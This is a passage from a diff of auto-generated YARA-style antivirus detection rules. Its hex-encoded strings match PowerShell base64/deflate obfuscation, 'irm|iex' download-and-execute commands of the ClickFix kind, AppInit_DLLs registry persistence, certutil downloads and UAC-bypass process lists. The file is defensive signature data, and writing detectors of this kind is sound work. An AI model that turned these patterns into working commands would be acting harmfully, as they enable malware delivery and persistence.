00 63 00 65 00 73 00 73 00 90 02 ff 6d 00 73 00 68 00 74 00 61 00 20 00 68 00 } //119 + $a_00_4 = {70 00 90 00 18 fc 24 00 6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 18 fc 2c 00 69 00 66 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 3d 00 3d 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 65 00 63 00 68 00 6f 00 00 00 d7 96 01 00 32 00 32 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e } //116 + $a_6e_5 = {32 2f 50 53 68 65 6c 6c 4f 62 66 75 73 65 2e 41 00 0a 00 58 00 5b 00 69 00 6f 00 2e 00 6d 00 65 00 6d 00 6f 00 72 00 79 00 73 00 74 00 72 00 65 00 61 00 6d 00 5d 00 5b 00 63 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 66 00 72 00 6f 00 6d 00 62 00 61 00 73 00 65 00 36 00 34 00 73 00 74 00 72 00 69 00 } //22330 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*46+(#a_00_3 & 1)*119+(#a_00_4 & 1)*116+(#a_6e_5 & 1)*22330) >=2 + +} +rule _InfrastructureShared_28228{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,32 00 32 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 53 68 65 6c 6c 4f 62 66 75 73 65 2e 41 00 0a 00 58 00 5b 00 69 00 6f 00 2e 00 6d 00 65 00 6d 00 6f 00 72 00 79 00 73 00 74 00 72 00 65 00 61 00 6d 00 5d 00 5b 00 63 00 6f 00 6e 00 76 00 } //21283 + $a_00_1 = {74 00 5d 00 3a 00 3a 00 66 00 72 00 6f 00 6d 00 62 00 61 00 73 00 65 00 36 00 34 00 73 00 74 00 72 00 69 00 6e 00 67 00 0a 00 42 00 6e 00 65 00 77 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 69 00 6f 00 2e 00 73 00 74 00 72 00 65 00 61 00 6d 00 72 00 65 00 61 00 64 00 65 00 72 00 0a 00 4e 00 } //101 + $a_00_2 = {77 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 69 00 6f 00 2e 00 63 00 6f 00 6d 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 2e 00 64 00 65 00 66 00 6c 00 61 00 74 00 65 00 73 00 74 00 72 00 65 00 61 00 6d 00 0a 00 58 00 5b 00 69 00 6f 00 2e 00 63 00 6f 00 6d 00 70 00 72 00 65 00 73 00 73 } //110 + $a_00_4 = {63 00 6f 00 6d 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 6d 00 6f 00 64 00 65 00 5d 00 3a 00 3a 00 64 00 65 00 63 00 6f 00 6d 00 } //110 compressionmode]::decom + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_00_2 & 1)*110+(#a_00_4 & 1)*110) >=50 + +} +rule _InfrastructureShared_28229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,21 00 21 00 08 00 21 " @@ -346888,7 +369059,7 @@ rule _InfrastructureShared_26524{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*114+(#a_00_3 & 1)*104+(#a_00_4 & 1)*101+(#a_70_5 & 1)*29268) >=33 } -rule _InfrastructureShared_26525{ +rule _InfrastructureShared_28230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 12 00 21 " @@ -346901,32 +369072,33 @@ rule _InfrastructureShared_26525{ $a_00_8 = {2e 00 70 00 69 00 7a 00 2e 00 65 00 78 00 65 00 } //1 .piz.exe $a_00_9 = {2e 00 76 00 6d 00 77 00 2e 00 65 00 78 00 65 00 } //1 .vmw.exe $a_00_10 = {2e 00 67 00 70 00 6a 00 2e 00 65 00 78 00 65 00 } //1 .gpj.exe - $a_a7_11 = {00 01 00 01 00 0d 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 50 6f 73 73 69 62 6c 65 55 41 43 42 79 70 61 73 73 45 78 70 2e 41 00 01 00 12 00 5c 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 00 00 01 00 20 00 5c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 00 00 01 00 1a 00 5c 00 63 00 73 00 63 00 72 00 69 00 70 00 74 00 2e 00 65 00 78 00 65 00 00 00 01 00 1a 00 5c 00 77 00 73 00 63 00 72 00 69 00 70 00 74 00 2e 00 65 00 78 00 65 00 00 00 01 00 16 00 5c 00 6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 00 00 01 00 1c 00 5c 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 } //0 - $a_00_14 = {67 00 2e 00 65 00 78 00 65 00 00 00 01 00 1a 00 5c 00 72 00 65 00 67 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 00 00 01 00 1c 00 5c 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 00 00 01 00 1c 00 5c 00 72 00 65 00 67 00 73 00 76 00 72 00 33 00 32 00 2e 00 65 00 78 } //114 - $a_00_17 = {77 00 73 00 68 00 2e 00 65 00 78 00 65 00 00 00 9c ff 1c 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 5f 00 52 00 75 00 6e 00 44 00 4c 00 4c 00 9c ff 1c 00 4f 00 70 00 74 00 69 00 6f 00 6e 00 73 00 5f 00 52 00 75 00 6e 00 44 00 4c 00 4c 00 00 00 d7 a8 01 00 0d 00 0d 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 } //92 + $a_a2_11 = {00 6e 00 6e 00 0a 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 47 4f 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 31 02 69 00 72 00 6d 00 20 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2f 00 90 02 32 2e 00 64 00 6f 00 66 00 7c 00 69 00 65 00 78 00 90 00 0a 00 31 02 69 00 72 00 6d 00 20 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 29 00 90 02 32 2e 00 64 00 6f 00 66 00 7c 00 69 00 65 00 78 00 90 00 0a 00 31 02 69 00 77 00 72 00 20 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 29 00 90 02 32 2e 00 64 00 6f 00 66 } //0 + $a_00_13 = {90 00 0a 00 31 02 69 00 77 00 72 00 20 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2f 00 90 02 32 2e 00 64 00 6f 00 66 00 7c 00 69 00 65 00 78 00 90 00 9c ff 20 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 32 00 37 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 9c ff 14 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 2e 00 9c ff 16 00 68 } //101 + $a_00_15 = {2f 00 2f 00 31 00 37 00 32 00 2e 00 9c ff 16 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 39 00 32 00 2e 00 9c ff 16 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 32 00 } //112 + $a_00_16 = {2e 00 00 00 d7 a8 01 00 0d 00 0d 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6f 6c 6f 72 69 67 61 74 65 52 65 63 6f 6e 2e 42 21 69 62 } //53 + $a_00_17 = {23 02 63 00 6d 00 64 00 2e 00 } //116 ȣcmd. condition: - ((#a_44_0 & 1)*17187+(#a_00_2 & 1)*111+(#a_00_4 & 1)*46+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_a7_11 & 1)*0+(#a_00_14 & 1)*114+(#a_00_17 & 1)*92) >=1 + ((#a_44_0 & 1)*17187+(#a_00_2 & 1)*111+(#a_00_4 & 1)*46+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_a2_11 & 1)*0+(#a_00_13 & 1)*101+(#a_00_15 & 1)*112+(#a_00_16 & 1)*53+(#a_00_17 & 1)*116) >=1 } -rule _InfrastructureShared_26526{ +rule _InfrastructureShared_28231{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 0d 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 0a 00 21 " strings : - $a_46_0 = {57 69 6e 33 32 2f 50 6f 73 73 69 62 6c 65 55 41 43 42 79 70 61 73 73 45 78 70 2e 41 00 01 00 12 00 5c 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 00 00 01 00 20 00 5c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c } //21283 - $a_00_2 = {00 00 01 00 1a 00 5c 00 63 00 73 00 63 00 72 00 69 00 70 00 74 00 2e 00 65 00 78 00 65 00 00 00 01 00 1a 00 5c 00 77 00 73 00 63 00 72 00 69 00 70 00 74 00 2e 00 65 00 78 00 65 00 00 00 01 00 16 00 5c 00 6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 00 00 01 00 1c 00 5c 00 73 00 63 00 68 00 74 } //120 - $a_00_4 = {2e 00 65 00 78 00 65 00 00 00 01 00 12 00 5c 00 72 00 65 00 67 00 2e 00 65 00 78 00 65 00 00 00 01 00 1a 00 5c 00 72 00 65 00 67 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 00 00 01 00 1c 00 5c 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 00 00 01 00 1c 00 5c 00 72 00 65 00 67 00 73 00 76 00 72 00 33 00 32 } //107 - $a_00_6 = {00 00 01 00 14 00 5c 00 70 00 77 00 73 00 68 00 2e 00 65 00 78 00 65 00 00 00 9c ff 1c 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 5f 00 52 00 75 00 6e 00 44 00 4c 00 4c 00 9c ff 1c 00 4f 00 70 00 74 00 69 00 6f 00 6e 00 73 00 5f 00 52 00 75 00 6e 00 44 00 4c 00 4c 00 00 00 d7 a8 01 00 0d 00 0d 00 04 } //120 - $a_54_7 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6f 6c 6f 72 69 67 61 74 65 52 65 63 6f 6e 2e 42 21 69 62 } //8448 L:Trojan:Win32/SolorigateRecon.B!ib - $a_00_8 = {23 02 63 00 6d 00 64 00 2e 00 } //116 ȣcmd. - $a_00_9 = {65 00 20 00 2f 00 63 00 20 00 90 02 20 2e 00 65 00 78 00 65 00 90 00 01 00 78 02 2d 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 90 02 01 2d 00 66 00 90 02 01 28 00 6e 00 61 00 6d 00 65 00 3d 00 22 00 4f 00 72 00 67 00 61 00 6e 00 69 00 7a 00 61 00 74 00 69 00 6f 00 6e 00 20 00 4d 00 61 00 6e 00 61 00 67 00 65 00 6d 00 65 00 6e 00 74 00 22 00 29 00 90 02 01 } //101 - $a_00_10 = {6d 00 62 00 65 00 72 00 90 02 01 2d 00 6c 00 69 00 73 00 74 00 90 00 01 00 81 02 2d 00 50 00 53 00 43 00 6f 00 6e 00 73 00 6f 00 6c 00 65 00 46 00 69 00 6c 00 65 00 20 00 90 02 15 2e 00 70 00 73 00 63 00 31 00 20 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 22 00 47 00 65 00 74 00 2d 00 57 } //109 - $a_00_12 = {72 00 76 00 69 00 63 00 65 00 73 00 56 00 69 00 72 00 74 00 75 00 61 00 6c 00 44 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 90 00 01 00 4b 02 2d 00 66 00 90 02 01 6f 00 62 00 6a 00 65 00 63 00 74 00 63 00 61 00 74 00 65 00 67 00 6f 00 72 00 79 00 3d 00 2a 00 90 02 01 3e 00 90 02 01 2e 00 5c 00 } //83 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 47 4f 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 31 02 69 00 72 00 6d 00 20 00 90 02 06 2e 00 90 02 06 2e 00 } //21283 + $a_2e_1 = {90 02 06 2f 00 90 } //656 + $a_00_2 = {64 00 6f 00 66 00 7c 00 69 00 65 00 78 00 90 00 0a 00 31 02 69 00 72 00 6d 00 20 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 } //12802 + $a_02_3 = {32 2e 00 64 00 6f 00 66 00 7c 00 69 00 65 00 78 00 90 00 0a 00 31 02 69 00 77 00 72 00 20 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 29 00 90 02 32 2e 00 64 00 6f 00 66 00 7c 00 69 00 65 00 78 00 90 00 0a 00 31 02 69 00 77 00 72 00 20 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2f 00 90 02 32 2e 00 64 00 6f 00 66 00 7c 00 69 00 65 00 78 00 90 00 9c ff 20 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 } //41 + $a_00_5 = {2e 00 30 00 2e 00 31 00 9c ff 14 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 2e 00 9c ff 16 00 68 00 74 00 74 00 70 00 3a 00 2f 00 } //46 + $a_00_6 = {37 00 32 00 2e 00 9c ff 16 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 39 00 32 00 2e 00 9c ff 16 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f } //47 + $a_00_8 = {00 00 d7 a8 01 00 0d 00 0d 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6f 6c 6f 72 69 67 61 74 65 52 65 63 6f 6e } //53 + $a_69_9 = {74 00 0a 00 23 02 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 90 02 20 2e 00 } //16942 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*120+(#a_00_4 & 1)*107+(#a_00_6 & 1)*120+(#a_54_7 & 1)*8448+(#a_00_8 & 1)*116+(#a_00_9 & 1)*101+(#a_00_10 & 1)*109+(#a_00_12 & 1)*83) >=1 + ((#a_46_0 & 1)*21283+(#a_2e_1 & 1)*656+(#a_00_2 & 1)*12802+(#a_02_3 & 1)*41+(#a_00_5 & 1)*46+(#a_00_6 & 1)*47+(#a_00_8 & 1)*53+(#a_69_9 & 1)*16942) >=110 } -rule _InfrastructureShared_26527{ +rule _InfrastructureShared_28232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -346938,23 +369110,7 @@ rule _InfrastructureShared_26527{ ((#a_4c_0 & 1)*21539+(#a_02_2 & 1)*1+(#a_02_3 & 1)*1) >=13 } -rule _InfrastructureShared_26528{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,42 00 42 00 09 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 41 48 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 08 00 68 00 74 00 74 00 70 00 32 00 27 02 73 00 74 00 61 00 } //21283 - $a_00_1 = {2d 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 90 02 0f 68 00 74 00 74 00 70 00 90 00 32 00 37 02 73 00 74 00 61 00 72 00 74 00 2d 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 90 02 0f 2d 00 6e 00 6f 00 6e 00 65 00 77 00 77 00 69 00 6e 00 64 00 6f 00 77 00 90 00 32 00 37 02 73 00 74 00 61 00 72 00 74 00 2d 00 70 00 72 00 6f 00 63 00 65 00 73 00 } //114 - $a_02_2 = {0f 2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 79 00 6c 00 65 00 90 00 32 00 31 02 73 00 74 00 61 00 72 00 74 00 2d 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 90 02 0f 6a 00 6f 00 69 00 6e 00 2d 00 70 00 61 00 74 00 68 00 90 00 05 00 26 00 43 00 6c 00 6f 00 75 00 64 00 20 00 49 00 64 00 65 00 6e 00 74 00 69 00 66 00 69 00 63 00 61 00 74 00 6f 00 72 00 05 00 28 00 41 00 63 00 74 00 69 00 6f 00 6e 00 20 00 49 00 64 00 } //115 - $a_00_3 = {74 00 69 00 66 00 69 00 63 00 61 00 74 00 6f 00 72 00 05 00 28 00 53 00 61 00 66 00 65 00 67 00 75 00 61 00 72 00 64 00 20 00 50 00 72 00 6f 00 74 00 65 00 63 00 74 00 69 00 6f 00 6e 00 00 00 d7 ad 01 00 15 00 15 00 09 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 61 70 6f 72 52 61 67 65 2e 44 21 64 68 61 00 0a } //101 - $a_73_4 = {63 } //6144 c - $a_00_6 = {6b 00 73 00 2e 00 65 00 78 00 65 00 0a 00 06 01 2f 00 74 00 6e 00 01 00 26 01 5c 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 55 00 50 00 44 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 01 00 30 01 5c 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 20 00 55 00 70 00 64 00 61 00 74 00 65 00 20 00 53 00 65 00 72 00 76 00 69 00 63 00 65 } //97 - $a_00_8 = {66 00 65 00 6e 00 64 00 65 00 72 00 5c 00 55 00 70 00 64 00 61 00 74 00 65 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 01 00 3a 01 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 53 00 6d 00 61 00 72 00 74 00 73 00 63 00 72 00 65 00 65 00 6e 00 53 00 65 00 72 00 76 00 69 00 63 00 65 } //68 - condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*114+(#a_02_2 & 1)*115+(#a_00_3 & 1)*101+(#a_73_4 & 1)*6144+(#a_00_6 & 1)*97+(#a_00_8 & 1)*68) >=66 - -} -rule _InfrastructureShared_26529{ +rule _InfrastructureShared_28233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,15 00 15 00 09 00 21 " @@ -346969,7 +369125,7 @@ rule _InfrastructureShared_26529{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*110+(#a_00_3 & 1)*112+(#a_00_4 & 1)*111+(#a_00_5 & 1)*97+(#a_00_7 & 1)*101) >=21 } -rule _InfrastructureShared_26530{ +rule _InfrastructureShared_28234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 06 00 21 " @@ -346981,7 +369137,7 @@ rule _InfrastructureShared_26530{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*47+(#a_00_4 & 1)*114) >=6 } -rule _InfrastructureShared_26531{ +rule _InfrastructureShared_28235{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " @@ -346992,7 +369148,7 @@ rule _InfrastructureShared_26531{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*70) >=3 } -rule _InfrastructureShared_26532{ +rule _InfrastructureShared_28236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 0a 00 21 " @@ -347008,7 +369164,7 @@ rule _InfrastructureShared_26532{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*102+(#a_00_4 & 1)*120+(#a_00_5 & 1)*101+(#a_00_6 & 1)*92+(#a_00_7 & 1)*101+(#a_00_8 & 1)*118) >=101 } -rule _InfrastructureShared_26533{ +rule _InfrastructureShared_28237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 05 00 21 " @@ -347021,7 +369177,7 @@ rule _InfrastructureShared_26533{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*105+(#a_00_2 & 1)*115+(#a_00_3 & 1)*67) >=4 } -rule _InfrastructureShared_26534{ +rule _InfrastructureShared_28238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 04 00 21 " @@ -347033,7 +369189,7 @@ rule _InfrastructureShared_26534{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*112+(#a_00_2 & 1)*114) >=1 } -rule _InfrastructureShared_26535{ +rule _InfrastructureShared_28239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -347043,7 +369199,28 @@ rule _InfrastructureShared_26535{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_26536{ +rule _InfrastructureShared_28240{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 11 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 45 78 65 63 2e 53 44 00 01 00 08 00 63 00 75 00 72 00 6c 00 01 00 14 00 73 00 79 00 73 00 74 00 65 00 6d 00 69 00 6e 00 66 00 6f 00 01 00 22 00 69 00 6e 00 76 00 6f 00 6b 00 65 } //21283 + $a_00_2 = {72 00 65 00 71 00 75 00 65 00 73 00 74 00 01 00 0a 00 20 00 69 00 77 00 72 00 20 00 01 00 1a 00 2e 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 66 00 69 00 6c 00 65 00 01 00 16 00 6d 00 73 00 62 00 75 00 69 00 6c 00 64 00 2e 00 65 00 78 00 65 00 01 00 1c 00 3a 00 5c 00 70 00 72 00 6f 00 } //101 + $a_00_3 = {61 00 6d 00 64 00 61 00 74 00 61 00 5c 00 01 00 10 00 63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 01 00 22 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 01 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 01 00 10 00 72 00 65 00 67 00 73 00 76 00 72 00 33 00 32 00 01 00 } //103 + $a_00_4 = {70 00 75 00 62 00 6c 00 69 00 63 00 5c 00 9c ff 26 00 61 00 75 00 74 00 68 00 6f 00 72 00 69 00 7a 00 61 00 74 00 69 00 6f 00 6e 00 3a 00 62 00 61 00 73 00 69 00 63 00 9c ff 0a 00 65 00 6e 00 76 00 69 00 6f 00 9c ff 10 00 2d 00 2d 00 68 00 65 00 61 00 64 00 65 00 72 00 9c ff } //16 + $a_00_5 = {2d 00 74 00 72 00 61 00 63 00 65 00 2d 00 74 00 69 00 6d 00 65 00 9c ff 0a 00 5c 00 6a 00 61 00 76 00 61 00 00 00 d7 c7 01 00 01 00 01 } //24 + $a_3a_7 = {53 54 52 2f 41 70 70 49 6e 69 74 53 63 72 69 70 74 2e 41 00 01 00 dc 00 72 00 65 00 67 00 20 00 61 00 64 00 64 00 20 00 48 00 4b 00 45 00 59 00 5f 00 4c 00 4f 00 43 00 41 00 4c 00 5f 00 4d 00 41 00 43 00 48 00 } //19521 + $a_00_8 = {45 00 5c 00 53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 4e 00 54 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 } //73 E\SOFTWARE\Microsoft\Windows NT\Current + $a_00_9 = {72 00 73 00 69 00 6f 00 6e 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 2f 00 76 00 20 00 41 00 70 00 70 00 49 00 6e 00 69 00 74 00 5f 00 44 00 4c 00 4c 00 73 00 20 00 2f 00 74 00 20 00 52 00 45 00 47 00 5f 00 53 00 5a 00 20 00 2f 00 64 00 20 00 25 00 01 00 c0 00 72 00 65 00 67 00 20 00 61 } //86 + $a_00_11 = {4b 00 4c 00 4d 00 5c 00 53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 4e 00 54 00 5c 00 43 00 75 00 } //32 KLM\SOFTWARE\Microsoft\Windows NT\Cu + $a_00_12 = {65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 2f 00 76 00 20 00 41 00 70 00 70 00 49 00 6e 00 69 00 74 00 5f 00 44 00 4c 00 4c 00 73 00 20 00 2f 00 74 00 20 00 52 00 45 00 47 00 5f 00 53 00 5a 00 20 00 2f 00 64 00 20 00 25 00 00 00 d7 d1 01 00 01 00 01 00 0d 00 21 23 53 4c } //114 + $a_69_13 = {33 32 2f 55 41 43 42 79 70 61 73 73 45 78 70 2e 67 65 6e 21 46 00 01 00 12 00 5c 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 00 00 01 00 20 00 5c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 00 00 01 00 1a 00 5c 00 63 } //14918 + $a_00_15 = {70 00 74 00 2e 00 65 00 78 00 65 00 00 00 01 00 1a 00 5c 00 77 00 73 00 63 00 72 00 69 00 70 00 74 00 2e 00 65 00 78 00 65 00 00 00 01 00 16 00 5c 00 6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 00 00 01 00 1c 00 5c 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 00 00 01 00 12 } //114 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101+(#a_00_3 & 1)*103+(#a_00_4 & 1)*16+(#a_00_5 & 1)*24+(#a_3a_7 & 1)*19521+(#a_00_8 & 1)*73+(#a_00_9 & 1)*86+(#a_00_11 & 1)*32+(#a_00_12 & 1)*114+(#a_69_13 & 1)*14918+(#a_00_15 & 1)*114) >=1 + +} +rule _InfrastructureShared_28241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -347053,7 +369230,7 @@ rule _InfrastructureShared_26536{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26537{ +rule _InfrastructureShared_28242{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 0d 00 21 " @@ -347070,7 +369247,7 @@ rule _InfrastructureShared_26537{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*0+(#a_00_4 & 1)*115+(#a_00_6 & 1)*0+(#a_00_8 & 1)*101+(#a_00_10 & 1)*92+(#a_00_11 & 1)*52+(#a_59_12 & 1)*11896) >=1 } -rule _InfrastructureShared_26538{ +rule _InfrastructureShared_28243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffc3 01 ffffffc3 01 1c 00 21 " @@ -347080,36 +369257,119 @@ rule _InfrastructureShared_26538{ $a_00_4 = {62 00 65 00 74 00 32 00 0a 00 2e 00 6c 00 69 00 76 00 65 00 32 00 0a 00 2e 00 6c 00 69 00 66 00 65 00 32 00 0e 00 2e 00 6f 00 6e 00 6c 00 } //8 $a_00_5 = {65 00 32 00 0a 00 2e 00 62 00 6f 00 6e 00 64 00 32 00 08 00 2e 00 74 00 6f 00 70 00 32 00 0c 00 2e 00 77 00 6f 00 72 00 6c 00 64 00 32 00 0c 00 2e 00 63 00 6c 00 69 00 63 00 6b 00 32 00 0e 00 2e 00 66 00 6f 00 72 00 65 00 73 00 74 00 32 00 14 00 2e 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 69 00 6f 00 01 00 08 00 2e 00 6d 00 } //105 $a_00_6 = {01 00 08 00 2e 00 6d 00 70 00 34 00 01 00 08 00 2e 00 66 00 6c 00 76 00 01 00 08 00 2e 00 6d 00 64 00 62 00 01 00 08 00 2e 00 65 00 70 00 73 00 01 00 08 } //112 - $a_00_8 = {01 00 08 00 2e 00 63 00 64 00 61 00 01 00 08 00 2e 00 6d 00 34 00 61 00 01 00 08 00 2e 00 78 00 6c 00 6c 00 00 00 d7 f5 01 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 